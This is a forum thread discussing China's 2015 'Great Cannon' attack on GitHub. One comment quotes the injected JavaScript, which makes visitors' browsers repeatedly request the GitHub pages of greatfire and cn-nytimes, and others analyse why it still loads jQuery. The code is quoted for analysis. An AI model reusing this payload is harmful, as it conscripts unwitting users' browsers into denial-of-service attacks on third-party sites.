News for hackers. Stuff that matters.
Re:China's Man-On-the-Side Attack on GitHub by valgaze on Tuesday March 31, 2015 @02:22AM (#9294659)
From the Sony pictures incident to the attack on that satirical magazine in Paris to this, it's getting pretty tiresome having to deal with authoritarian types who believe they should dictate what other people can say or access.

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 }

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() { var a = unixtime() % NUM; get(url_array[a]) }

function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) }

function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);

Re:China's Man-On-the-Side Attack on GitHub by rmchugh on Tuesday March 31, 2015 @06:38AM (#9295369)
Loading all of jQuery seems a little bit excessive when the only thing they're using is the $.ajax function. http://youmightnotneedjquery.com/#request
Re:China's Man-On-the-Side Attack on GitHub by blar on Tuesday March 31, 2015 @02:15PM (#9298637)
It's excessive if your goal is _solely_ to execute a repeating AJAX request. But, if I'm understanding the attack correctly, this script is injected _in place of_ jQuery requested from Baidu's CDN. If you want the affected sites to appear normal, so the users whose browsers you are highjacking will contribute to the DDOS for the longest possible period, then you want to ensure that jQuery does indeed load.

The OP further clarifies why jQuery is injected _twice_: seems the injection is occurring only for 1% of requests. So it appears the code is looking to see if it has triggered the injection itself, and fires another request if needed.

Re:China's Man-On-the-Side Attack on GitHub by interdrift on Tuesday March 31, 2015 @06:50AM (#9295403)
On which side are you ._.
Re:China's Man-On-the-Side Attack on GitHub by tomjen3 on Tuesday March 31, 2015 @07:42AM (#9295556)
Engineers don't care what side anybody is on, as long as the tech works.
Re:China's Man-On-the-Side Attack on GitHub by throwaway7767 on Tuesday March 31, 2015 @08:47AM (#9295768)
> Engineers don't care what side anybody is on, as long as the tech works.

Good engineers do care. Don't mistake "being an engineer" with "being apathetic".

Re:China's Man-On-the-Side Attack on GitHub by hobs on Tuesday March 31, 2015 @08:08AM (#9295623)
Really?

We knew the world would not be the same. A few people laughed, a few people cried, most people were silent. I remembered the line from the Hindu scripture, the Bhagavad-Gita... "Now, I am become Death, the destroyer of worlds."

Any engineer worth his salt absolutely understands the consequences of their actions on the world. Sometimes they understand a bit too late.

Re:China's Man-On-the-Side Attack on GitHub by tomjen3 on Tuesday March 31, 2015 @08:20AM (#9295666)
He still went along with it.
Re:China's Man-On-the-Side Attack on GitHub by jc4p on Tuesday March 31, 2015 @10:17AM (#9296307)
hey buddy
Re:China's Man-On-the-Side Attack on GitHub by hobs on Wednesday April 01, 2015 @08:28AM (#9303050)
What's up pvam
Re:China's Man-On-the-Side Attack on GitHub by stefantalpalaru on Tuesday March 31, 2015 @07:33AM (#9295531)
> the Sony pictures incident

Most likely unrelated to North Korea and used for propagandistic purposes (including publicity for a below par movie).